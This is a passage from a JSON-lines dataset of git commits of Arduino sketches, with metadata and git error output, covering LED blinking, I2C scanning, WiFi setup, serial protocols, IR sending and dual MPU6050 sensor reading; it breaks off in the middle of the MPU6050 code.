LedMat.setTextColor(\"blue\");\n LedMat.println(\"B\");\n LedMat.display();\n}\n\nint cnt;\nFile dir;\n\nvoid loop(void){\n LedMat.checkSubcon();\n\n if(!moviePlayer.update()){\n LedMat.clear();\n LedMat.display();\n delay(1000);\n if(!moviePlayer.begin(\"\/movie.hlm\"))\n LedMat.printf(\"Error\");\n }\n}\n\n\n\/*** Local variables: ***\/\n\/*** tab-width:2 ***\/\n\/*** truncate-lines:t ***\/\n\/*** End: ***\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/movie_simple\/movie_simple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9ee42c86062fcf57466089465397064b4604ca01","subject":"Pulse sensor rewritten first draft","message":"Pulse sensor rewritten first draft\n\nNeeds work\n","repos":"alaviali\/OBI,alaviali\/OBI","old_file":"Individual sensor rewritten\/Pulse.ino","new_file":"Individual sensor rewritten\/Pulse.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Individual' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'rewritten\/Pulse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5fd5fa0d46038f20e952890fa80d813d2d655ec8","subject":"Delete DigoleSerialDisp_GeoDemo.ino","message":"Delete DigoleSerialDisp_GeoDemo.ino","repos":"timothybrown\/Spark-Core-Sundries","old_file":"DigoleSerialDisp_GeoDemo.ino","new_file":"DigoleSerialDisp_GeoDemo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/timothybrown\/Spark-Core-Sundries.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8ffa1a66e41df3815c1db2f26d6fc8e1247e4a88","subject":"Sketches: Add blink-sos-led","message":"Sketches: Add blink-sos-led\n\nFix https:\/\/github.com\/gmacario\/learning-arduino\/issues\/31\n","repos":"gmacario\/learning-arduino","old_file":"Sketches\/blink-sos-led\/blink-sos-led.ino","new_file":"Sketches\/blink-sos-led\/blink-sos-led.ino","new_contents":"\/*\n Blink\n Turns a LED on and off for some time, repeatedly.\n \n This example code is in the public domain.\n *\/\n \n \n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint led = 13;\n\nint tick = 200;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() { \n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT); \n}\n\nvoid dits(int n)\n{\n for (int k = 0; k < n; k++) {\n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(tick);\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(tick);\n }\n}\n\nvoid dahs(int n)\n{\n for (int k = 0; k < n; k++) {\n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(3 * tick);\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(tick);\n }\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \n\/\/ int k = 0;\n\/\/ while (true) {\n\/\/ digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n\/\/ delay((k + 1) * 50); \/\/ wait for some time\n\/\/ digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n\/\/ delay((16 - k) * 50); \/\/ wait for some remaining time\n\/\/ k = (k + 1) % 16;\n\/\/ }\n\n dits(3);\n delay(2 * tick);\n dahs(3);\n delay(2 * tick);\n dits(3);\n delay(10 * tick);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/blink-sos-led\/blink-sos-led.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"11bf63a4ab71a5134cb6e5a09b9f73bc3fd1eb20","subject":"Added I2C-scanner tool","message":"Added I2C-scanner tool\n","repos":"NikolaiRadke\/NOKO","old_file":"src\/I2C_Scanner\/I2C_Scanner.ino","new_file":"src\/I2C_Scanner\/I2C_Scanner.ino","new_contents":"\/\/ I2C Scanner\n\n#include <Wire.h>\n\nbyte number=0;\n\nvoid setup() {\n Serial.begin (9600);\n Serial.println (\"Looking for I2C-devices...\");\n Wire.begin();\n for (byte adress=8; adress<120; adress++)\n {\n Wire.beginTransmission(adress);\n if (Wire.endTransmission()==0)\n {\n Serial.print(number+1);\n Serial.print(\". Device: 0x\");\n Serial.println(adress, HEX);\n number++;\n }\n }\n Serial.print (number, DEC);\n Serial.println (\" device(s) found.\");\n}\n\nvoid loop() {}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/I2C_Scanner\/I2C_Scanner.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f33cb4fb323ba552cf113f2bf66536062993ff4c","subject":"added feedback through LED blink example","message":"added feedback through LED blink example\n","repos":"tablatronix\/WiFiManager,javl\/WiFiManager,alexkirill\/WiFiManager,tzapu\/WiFiManager,tablatronix\/WiFiManager,alexkirill\/WiFiManager,tablatronix\/WiFiManager,tzapu\/WiFiManager,tablatronix\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager,javl\/WiFiManager,javl\/WiFiManager,tablatronix\/WiFiManager,alexkirill\/WiFiManager","old_file":"examples\/AutoConnectWithFeedbackLED\/AutoConnectWithFeedbackLED.ino","new_file":"examples\/AutoConnectWithFeedbackLED\/AutoConnectWithFeedbackLED.ino","new_contents":"#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n\/\/needed for library\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n#include <WiFiManager.h> \/\/https:\/\/github.com\/tzapu\/WiFiManager\n\n\/\/for LED status\n#include <Ticker.h>\nTicker ticker;\n\nvoid tick()\n{\n \/\/toggle state\n int state = digitalRead(BUILTIN_LED); \/\/ get the current state of GPIO1 pin\n digitalWrite(BUILTIN_LED, !state); \/\/ set pin to the opposite state\n}\n\n\/\/gets called when WiFiManager enters configuration mode\nvoid configModeCallback (WiFiManager *myWiFiManager) {\n Serial.println(\"Entered config mode\");\n Serial.println(WiFi.softAPIP());\n \/\/if you used auto generated SSID, print it\n Serial.println(myWiFiManager->getConfigPortalSSID());\n \/\/entered config mode, make led toggle faster\n ticker.attach(0.2, tick);\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n \n \/\/set led pin as output\n pinMode(BUILTIN_LED, OUTPUT);\n \/\/ start ticker with 0.5 because we start in AP mode and try to connect\n ticker.attach(0.6, tick);\n\n \/\/WiFiManager\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n WiFiManager wifiManager;\n \/\/reset settings - for testing\n \/\/wifiManager.resetSettings();\n\n \/\/set callback that gets called when connecting to previous WiFi fails, and enters Access Point mode\n wifiManager.setAPCallback(configModeCallback);\n\n \/\/fetches ssid and pass and tries to connect\n \/\/if it does not connect it starts an access point with the specified name\n \/\/here \"AutoConnectAP\"\n \/\/and goes into a blocking loop awaiting configuration\n if (!wifiManager.autoConnect()) {\n Serial.println(\"failed to connect and hit timeout\");\n \/\/reset and try again, or maybe put it to deep sleep\n ESP.reset();\n delay(1000);\n }\n\n \/\/if you get here you have connected to the WiFi\n Serial.println(\"connected...yeey :)\");\n ticker.detach();\n \/\/keep LED on\n digitalWrite(BUILTIN_LED, LOW);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AutoConnectWithFeedbackLED\/AutoConnectWithFeedbackLED.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b80c402b12675b2c10ac1b7457b36b4a1dbbeece","subject":"Create receiveData.ino","message":"Create receiveData.ino","repos":"manashmndl\/SerialPort","old_file":"ArduinoCodes\/receiveData.ino","new_file":"ArduinoCodes\/receiveData.ino","new_contents":"\/*\n * Author: Manash Kumar Mandal\n * Example For receiving data from SerialPort\n *\/\n\n#define BAUD 9600\n#define DELAY_TIME 100\n#define led 13\n\nString receivedString;\n\nvoid setup() {\n Serial.begin(BAUD);\n pinMode(led, OUTPUT);\n}\n\nvoid loop() {\n if (Serial.available() > 0){\n receivedString = Serial.readStringUntil('\\n');\n }\n\n if (receivedString.equals(\"ON\")) digitalWrite(led, HIGH);\n else if (receivedString.equals(\"OFF\")) digitalWrite(led, LOW);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoCodes\/receiveData.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ce1da6ae45548e7ff6c17c19b05ed0abb971bb8f","subject":"Restore ArdulinkProtocol.ino for a problem with SVN","message":"Restore ArdulinkProtocol.ino for a problem with SVN","repos":"Ardulink\/Ardulink-2,pfichtner\/Ardulink,Ardulink\/Ardulink-2,Ardulink\/Ardulink,Ardulink\/Ardulink-2","old_file":"Deploy\/rootfolder\/sketches\/ArdulinkProtocol\/ArdulinkProtocol.ino","new_file":"Deploy\/rootfolder\/sketches\/ArdulinkProtocol\/ArdulinkProtocol.ino","new_contents":"\/*\nCopyright 2013 Luciano Zu project Ardulink http:\/\/www.ardulink.org\/\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\nThis sketch is an example to understand how Arduino can recognize ALProtocol. \nHowever, it can easily be reused for their own purposes or as a base for a library. \nRead carefully the comments. When you find \"this is general code you can reuse\"\nthen it means that it is generic code that you can use to manage the ALProtocol. \nWhen you find \"this is needed just as example for this sketch\" then it means that \nyou code useful for a specific purpose. In this case you have to modify it to suit \nyour needs.\n*\/\n\n\/\/ int intensity = 0; \/\/ led intensity this is needed just as example for this sketch\nString inputString = \"\"; \/\/ a string to hold incoming data (this is general code you can reuse)\nboolean stringComplete = false; \/\/ whether the string is complete (this is general code you can reuse)\n\n#define digitalPinListeningNum 14 \/\/ Change 14 if you have a different number of pins.\n#define analogPinListeningNum 6 \/\/ Change 6 if you have a different number of pins.\nboolean digitalPinListening[digitalPinListeningNum]; \/\/ Array used to know which pins on the Arduino must be listening.\nboolean analogPinListening[analogPinListeningNum]; \/\/ Array used to know which pins on the Arduino must be listening.\nint digitalPinListenedValue[digitalPinListeningNum]; \/\/ Array used to know which value is read last time.\nint analogPinListenedValue[analogPinListeningNum]; \/\/ Array used to know which value is read last time.\n\nvoid setup() {\n \/\/ initialize serial: (this is general code you can reuse)\n Serial.begin(115200);\n \n \/\/set to false all listen variable\n int index = 0;\n for (index = 0; index < digitalPinListeningNum; index++) {\n digitalPinListening[index] = false;\n digitalPinListenedValue[index] = -1;\n }\n for (index = 0; index < analogPinListeningNum; index++) {\n analogPinListening[index] = false;\n analogPinListenedValue[index] = -1;\n }\n\n \/\/ Turn off everything (not on RXTX)\n for (index = 2; index < digitalPinListeningNum; index++) {\n pinMode(index, OUTPUT);\n digitalWrite(index, LOW);\n }\n \n \/\/ Turn off LED this is needed just as example for this sketch\n\/\/ analogWrite(11, intensity);\n \n \/\/ Read from 4 this is needed just as example for this sketch\n\/\/ pinMode(4, INPUT);\n}\n\nvoid loop() {\n \/\/ when a newline arrives:\n if (stringComplete) {\n \n if(inputString.startsWith(\"alp:\/\/\")) { \/\/ OK is a message I know (this is general code you can reuse)\n \n boolean msgRecognized = true;\n \n if(inputString.substring(6,10) == \"kprs\") { \/\/ KeyPressed\n \/\/ here you can write your own code. For instance the commented code change pin intensity if you press 'a' or 's'\n \/\/ take the command and change intensity on pin 11 this is needed just as example for this sketch\n \/\/char commandChar = inputString.charAt(14);\n \/\/if(commandChar == 'a' and intensity > 0) { \/\/ If press 'a' less intensity\n \/\/ intensity--;\n \/\/ analogWrite(11,intensity);\n \/\/} else if(commandChar == 's' and intensity < 125) { \/\/ If press 's' more intensity\n \/\/ intensity++;\n \/\/ analogWrite(11,intensity);\n \/\/}\n } else if(inputString.substring(6,10) == \"ppin\") { \/\/ Power Pin Intensity (this is general code you can reuse)\n int separatorPosition = inputString.indexOf('\/', 11 );\n String pin = inputString.substring(11,separatorPosition);\n String intens = inputString.substring(separatorPosition + 1);\n pinMode(pin.toInt(), OUTPUT);\n analogWrite(pin.toInt(),intens.toInt());\n } else if(inputString.substring(6,10) == \"ppsw\") { \/\/ Power Pin Switch (this is general code you can reuse)\n int separatorPosition = inputString.indexOf('\/', 11 );\n String pin = inputString.substring(11,separatorPosition);\n String power = inputString.substring(separatorPosition + 1);\n pinMode(pin.toInt(), OUTPUT);\n if(power.toInt() == 1) {\n digitalWrite(pin.toInt(), HIGH);\n } else if(power.toInt() == 0) {\n digitalWrite(pin.toInt(), LOW);\n }\n } else if(inputString.substring(6,10) == \"srld\") { \/\/ Start Listen Digital Pin (this is general code you can reuse)\n String pin = inputString.substring(11);\n digitalPinListening[pin.toInt()] = true;\n digitalPinListenedValue[pin.toInt()] = -1; \/\/ Ensure a message back when start listen happens.\n pinMode(pin.toInt(), INPUT);\n } else if(inputString.substring(6,10) == \"spld\") { \/\/ Stop Listen Digital Pin (this is general code you can reuse)\n String pin = inputString.substring(11);\n digitalPinListening[pin.toInt()] = false;\n digitalPinListenedValue[pin.toInt()] = -1; \/\/ Ensure a message back when start listen happens.\n } else if(inputString.substring(6,10) == \"srla\") { \/\/ Start Listen Analog Pin (this is general code you can reuse)\n String pin = inputString.substring(11);\n analogPinListening[pin.toInt()] = true;\n analogPinListening[pin.toInt()] = -1; \/\/ Ensure a message back when start listen happens.\n } else if(inputString.substring(6,10) == \"spla\") { \/\/ Stop Listen Analog Pin (this is general code you can reuse)\n String pin = inputString.substring(11);\n analogPinListening[pin.toInt()] = false;\n analogPinListening[pin.toInt()] = -1; \/\/ Ensure a message back when start listen happens.\n } else {\n msgRecognized = false; \/\/ this sketch doesn't know other messages in this case command is ko (not ok)\n }\n \n \/\/ Prepare reply message if caller supply a message id (this is general code you can reuse)\n int idPosition = inputString.indexOf(\"?id=\");\n if(idPosition != -1) {\n String id = inputString.substring(idPosition + 4);\n \/\/ print the reply\n Serial.print(\"alp:\/\/rply\/\");\n if(msgRecognized) { \/\/ this sketch doesn't know other messages in this case command is ko (not ok)\n Serial.print(\"ok?id=\");\n } else {\n Serial.print(\"ko?id=\");\n }\n Serial.print(id);\n Serial.write(255); \/\/ End of Message\n Serial.flush();\n }\n }\n \n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n \n \/\/ Send listen messages\n int index = 0;\n for (index = 0; index < digitalPinListeningNum; index++) {\n if(digitalPinListening[index] == true) {\n int value = digitalRead(index);\n if(value != digitalPinListenedValue[index]) {\n digitalPinListenedValue[index] = value;\n Serial.print(\"alp:\/\/dred\/\");\n Serial.print(index);\n Serial.print(\"\/\");\n Serial.print(value);\n Serial.write(255); \/\/ End of Message\n Serial.flush();\n }\n }\n }\n for (index = 0; index < analogPinListeningNum; index++) {\n if(analogPinListening[index] == true) {\n int value = analogRead(index);\n if(value != analogPinListenedValue[index]) {\n analogPinListenedValue[index] = value;\n Serial.print(\"alp:\/\/ared\/\");\n Serial.print(index);\n Serial.print(\"\/\");\n Serial.print(value);\n Serial.write(255); \/\/ End of Message\n Serial.flush();\n }\n }\n }\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n This is general code you can reuse.\n *\/\nvoid serialEvent() {\n \n while (Serial.available() && !stringComplete) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n }\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Deploy\/rootfolder\/sketches\/ArdulinkProtocol\/ArdulinkProtocol.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a3073999c7d875738cfa96fd163471e3229ea324","subject":"added code for Sender","message":"added code for Sender\n\ntested on Arduino as well as ATmega328p.\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Modules\/Action\/Sender\/ArduinoCodes\/SenderATmega\/SenderATmega.ino","new_file":"Modules\/Action\/Sender\/ArduinoCodes\/SenderATmega\/SenderATmega.ino","new_contents":"\/*\n** ModuleNameATmega.ino\n** MakerWear ModuleName Module's ATmega Program.\n**\n** Description\n** Description\n** Description\n**\n**\n** ATmega328 Pin Configurations:\n**\n** Pin 1 (Reset): Pin 28 (A5): \n** Pin 2 (D0\/RX): Pin 27 (A4):\n** Pin 3 (D1\/TX): Pin 26 (A3):\n** Pin 4 (D2): Pin 25 (A2):\n** Pin 5 (D3\/PWM): Pin 24 (A1):\n** Pin 6 (D4): Pin 23 (A0): Module Input\n** Pin 7 (PWR): Pin 22 (GND):\n** Pin 8 (GND): Pin 21 (AREF):\n** Pin 9 (XTAL1): Pin 20 (AVCC):\n** Pin 10 (XTAL2): Pin 19 (D13):\n** Pin 11 (D5\/PWM): Pin 18 (D12):\n** Pin 12 (D6\/PWM): Pin 17 (D11\/PWM):\n** Pin 13 (D7): Pin 16 (D10\/PWM):\n** Pin 14 (D8): Pin 15 (D9\/PWM):\n**\n**\n** Created on xx\/yy\/zz.\n** By Akbar Akbari\n** Modified on xx\/yy\/zz.\n** By Asghar Asghari\n**\n** MakerWear Link:\n** Github Link: github.com\/myjeeed\/MakerWear\n**\n*\/\n\n\/\/#include <FilteredAnalogInput.h>\n#include <IRremote2.h>\n\nint input_pin = A0; \/\/pin 23 on ATmega328\nint filter_size = 15; \/\/Noise reduction filter size\n\/\/int ir_pin = 11; \/\/pin 17 on ATmega328\n\/\/Library automatically uses D3 to send signal\n\n\/\/FilteredAnalogInput input(input_pin, filter_size);\n\nIRsend irsend;\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n int input_val = analogRead(input_pin);\n \n if(input_val < 128)\n sendIR(0x001,12);\n else if(input_val > 128 && input_val <= 256)\n sendIR(0x002,12);\n else if(input_val > 256 && input_val <= 384)\n sendIR(0x004,12);\n else if(input_val > 384 && input_val <= 512)\n sendIR(0x008,12);\n else if(input_val > 512 && input_val <= 640)\n sendIR(0x010,12);\n else if(input_val > 640 && input_val <= 768)\n sendIR(0x020,12);\n else if(input_val > 768 && input_val <= 896)\n sendIR(0x040,12);\n else if(input_val > 896)\n sendIR(0x080,12);\n}\n\nvoid sendIR(unsigned long hex, int nbits){\n for (int i = 0; i < 3; i++) {\n irsend.sendSony(hex, nbits); \/\/ Sony TV power code\n delay(40);\n }\n Serial.println(hex,HEX);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modules\/Action\/Sender\/ArduinoCodes\/SenderATmega\/SenderATmega.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"29eb902301738f3625bd379bfa91f12d3c948400","subject":"Adding foundation framework for using two GY-521 MPU6050 breakout boards and reading angles from each of them. Use this as a starting point for your dual-mpu projects.","message":"Adding foundation framework for using two GY-521 MPU6050 breakout boards and reading angles from each of them. Use this as a starting point for your dual-mpu projects.\n","repos":"otacsum\/arduino,otacsum\/arduino","old_file":"GY-521-2x-MPU6050-Base\/GY-521-2x-MPU6050-Base.ino","new_file":"GY-521-2x-MPU6050-Base\/GY-521-2x-MPU6050-Base.ino","new_contents":"\/**\n * GY-521-2x-MPU6050-Base.ino\n *\n * @author Mike Muscato\n * @date 2017-07-04\n *\n * ============= Attribution ==========================\n * Based on MPU6050_Latest_code.ino\n * Originally provided by \"HC\" aka \"zhomeslice\" on forum.arduino.cc\n * at https:\/\/forum.arduino.cc\/index.php?PHPSESSID=h4c6487i42hbb7uh6rjk0eadp1&topic=446713.msg3073854#msg3073854\n * \n * Original source committed in my repo for reference at: arduino\/MPU6050\/MPU6050_Latest_code\/\n * =====================================================\n * \n *\/\n\n\/\/ Arduino Library must include the following library file collections. \n\/\/ These repos are forked on my gitHub or you can find them at...\n\/\/ https:\/\/github.com\/jrowberg\/i2cdevlib\n#include \"I2Cdev.h\"\n#include \"MPU6050_6Axis_MotionApps20.h\"\n#include \"Wire.h\"\n\n\/\/ Standard included arduino servo library\n#include \"Servo.h\"\n\n\/\/ Comment to turn off Serial printing\n#define DEBUG \n\n\/\/ DEBUG serial printing macros to limit serial monitor rate\n#ifdef DEBUG\n \/\/#define DPRINT(args...) Serial.print(args) \/\/OR use the following syntax:\n #define DPRINTSTIMER(t) for (static unsigned long SpamTimer; (unsigned long)(millis() - SpamTimer) >= (t); SpamTimer = millis())\n #define DPRINTSFN(StrSize,Name,...) {char S[StrSize];Serial.print(\"\\t\");Serial.print(Name);Serial.print(\" \"); Serial.print(dtostrf((float)__VA_ARGS__ ,S));}\/\/StringSize,Name,Variable,Spaces,Percision\n #define DPRINTLN(...) Serial.println(__VA_ARGS__)\n#else\n #define DPRINTSTIMER(t) if(false)\n #define DPRINTSFN(...) \/\/blank line\n #define DPRINTLN(...) \/\/blank line\n#endif\n\n\/\/ Initialize gyro instance\n\/\/ TODO: Update this to initialize two gyros with +VDC\/Ground arguments\nMPU6050 mpus[2] = {MPU6050(0x68), MPU6050(0x69)};\n\nconst int LED_PIN = 13;\n\n\/\/ You must supply your gyro offsets here,\n\/\/ Use MPU6050_calibration.ino found at:\n\/\/ https:\/\/forum.arduino.cc\/index.php?PHPSESSID=h4c6487i42hbb7uh6rjk0eadp1&topic=446713.msg3073854#msg3073854\n\/\/ \n\/\/ Calibration code also copied in my repo: arduino\/MPU6050\/\n\/\/ \n\/\/ Gyro 0 calibrated at: {-3074, -2036, 1236, 63, -16, 78}\n\/\/ Gyro 1 calibrated at: {-1143, -1197, 989, 147, -78, -10}\n\/\/ \n\/\/ XA YA ZA XG YG ZG\nint mpuOffsets[2][6] = {\n {-3074, -2036, 1236, 63, -16, 78},\n {-1143, -1197, 989, 147, -78, -10}\n };\n \n\/\/ vars for angle values.\nfloat Yaw, Pitch, Roll;\n\n\n\n\n\/\/ ================================================================\n\/\/ === i2c SETUP Items ===\n\/\/ ================================================================\nvoid i2cSetup() {\n \/\/ Join I2C bus (I2Cdev library doesn't do this automatically)\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz)\n#elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n#endif\n}\n\n\n\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\nvolatile bool mpuInterrupt[2] = {false, false}; \/\/ indicates whether MPU interrupt pin has gone high\n\n\/\/Intentional duplication. Interrupt routine cannot pass args. \nvoid dmpDataReady0() {\n mpuInterrupt[0] = true;\n}\nvoid dmpDataReady1() {\n mpuInterrupt[1] = true;\n}\n\n\n\n\n\/\/ ================================================================\n\/\/ === MPU DMP SETUP ===\n\/\/ ================================================================\n\/\/ MPU control\/status vars\n\n\/\/This isn't used anywhere, I think we can get rid of it.\n\/\/uint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\n\nuint8_t devStatus; \/\/ return status after each initialization operation (0 = success, !0 = error)\n\n\/\/Containers for each MPU's communication\nint FifoAlive[2] = {0, 0}; \/\/ tests if the interrupt is triggering\nuint16_t packetSize[2]; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount[2]; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[2][64]; \/\/ FIFO storage buffer\n\n\/\/ orientation\/motion vars \n\/\/ (overwritten during each read\/calculate cycle so they do not need to be duplicated for each MPU)\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\n\n\/\/Not used anywhere in the code, can probably remove this\n\/\/int IsAlive = -20; \/\/ counts interrupt start at -20 to get 20+ good values before assuming connected\n\/\/VectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\n\/\/VectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\n\/\/VectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\n\/\/float euler[3]; \/\/ [psi, theta, phi] Euler angle container\n\n\n\n\n\n\/**\n * MPU6050 Connection \/ Initialization routine\n * =============================================================\n *\n * @author Modified by Mike Muscato to enable dual MPU configuration \n * @date 2017-07-04\n *\n *\/\nvoid MPU6050Connect() {\n\n for (int i = 0; i < 2; i++) {\n Serial.print(F(\"Initializing MPU \")); Serial.println(i);\n \n static int MPUInitCntr = 0; \/\/Counter for looping and eventual initialization failure.\n \n \/\/ initialize device\n mpus[i].initialize();\n \/\/ load and configure the DMP\n devStatus = mpus[i].dmpInitialize();\n \n if (devStatus != 0) {\n \n \/\/ ERROR Checking!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n \n char *StatStr[5] { \"No Error\", \"initial memory load failed\", \"DMP configuration updates failed\", \"3\", \"4\"};\n\n MPUInitCntr++;\n\n Serial.print(F(\"MPU\")); Serial.print(i); Serial.print(F(\" connection Try #\")); Serial.println(MPUInitCntr);\n Serial.print(F(\"DMP Initialization failed (code \")); Serial.print(StatStr[devStatus]); Serial.println(F(\")\"));\n \n if (MPUInitCntr >= 10) return; \/\/only try 10 times\n delay(1000);\n MPU6050Connect(); \/\/ Lets try again\n return;\n }\n\n \/\/Set offset values for each of our MPUs from our array.\n mpus[i].setXAccelOffset(mpuOffsets[i][0]);\n mpus[i].setYAccelOffset(mpuOffsets[i][1]);\n mpus[i].setZAccelOffset(mpuOffsets[i][2]);\n mpus[i].setXGyroOffset(mpuOffsets[i][3]);\n mpus[i].setYGyroOffset(mpuOffsets[i][4]);\n mpus[i].setZGyroOffset(mpuOffsets[i][5]);\n\n Serial.print(F(\"Enabling DMP on MPU\")); Serial.println(i);\n mpus[i].setDMPEnabled(true);\n\n \/\/ enable Arduino interrupt detection\n int intPin = i + 2;\n Serial.print(F(\"Enabling interrupt detection on MPU\")); Serial.print(i); Serial.print(F(\"(Arduino external interrupt pin \")); Serial.print(intPin); Serial.println(F(\" on the Uno)...\"));\n Serial.print(F(\"mpu\")); Serial.print(i); Serial.print(F(\".getInterruptDrive= \")); Serial.println(mpus[i].getInterruptDrive()); \/\/Current interrupt drive mode (0=push-pull, 1=open-drain)\n \n \/\/Intentional duplication. Interrupt routine cannot pass args. \n if (i == 0) {\n attachInterrupt(i, dmpDataReady0, RISING);\n }\n else {\n attachInterrupt(i, dmpDataReady1, RISING);\n }\n\n \/\/This isn't used anywhere, I think we can get rid of it.\n \/\/Also does not appear to be used in the MPU6050 class anywhere?\n \/\/mpuIntStatus = mpus[i].getIntStatus();\n \n packetSize[i] = mpus[i].dmpGetFIFOPacketSize(); \/\/ get expected DMP packet size for later comparison\n delay(1000); \/\/ Let it Stabalize\n mpus[i].resetFIFO(); \/\/ Clear fifo buffer\n \n \/\/This isn't used anywhere, I think we can get rid of it.\n \/\/Also does not appear to be used in the MPU6050 class anywhere?\n \/\/mpus[i].getIntStatus();\n \n mpuInterrupt[i] = false; \/\/ wait for next interrupt\n \n }\n\n}\n\n\n\n\/**\n * GetDMP Reads the data from our MPUs and stores it in each mpus instance.\n * =============================================================\n *\n * @author Modified by Mike Muscato to enable dual MPU configuration \n * @date 2017-07-04\n *\n *\/\nvoid GetDMP() { \n\n for (int i = 0; i < 2; i++) { \n mpuInterrupt[i] = false;\n FifoAlive[i] = 1;\n fifoCount[i] = mpus[i].getFIFOCount();\n \n if ((!fifoCount[i]) || (fifoCount[i] % packetSize[i])) { \/\/ we have failed Reset and wait till next time!\n digitalWrite(LED_PIN, LOW); \/\/ lets turn off the blinking LED so we can see we are failing.\n mpus[i].resetFIFO();\/\/ clear the buffer and start over\n } \n else {\n while (fifoCount[i] >= packetSize[i]) { \/\/ Get the packets until we have the latest!\n mpus[i].getFIFOBytes(fifoBuffer[i], packetSize[i]); \/\/ lets do the magic and get the data\n fifoCount[i] -= packetSize[i];\n }\n }\n } \n \n \/\/LastGoodPacketTime = millis(); TODO: This isn't doing anything, remove it? Not sure why it was here.\n MPUMath(); \/\/ Successful! Do the math and show angles from both MPUs\n digitalWrite(LED_PIN, !digitalRead(LED_PIN)); \/\/ Blink the LED on each cycle\n \n}\n\n\n\/**\n * MPUMath Calculates angles of MPUs from raw sensor data\n * =============================================================\n *\n * @author Modified by Mike Muscato to enable dual MPU configuration \n * @date 2017-07-04\n *\n *\/\nvoid MPUMath() {\n for (int i = 0; i < 2; i++) {\n\n \/\/Get the raw data from the sensor\n mpus[i].dmpGetQuaternion(&q, fifoBuffer[i]);\n mpus[i].dmpGetGravity(&gravity, &q);\n mpus[i].dmpGetYawPitchRoll(ypr, &q, &gravity);\n \n \/\/Calculate readable angles\n Yaw = (ypr[0] * 180.0 \/ M_PI);\n Pitch = (ypr[1] * 180.0 \/ M_PI);\n Roll = (ypr[2] * 180.0 \/ M_PI);\n\n \/\/ Serial.print the current angle values of the gyro position.\n 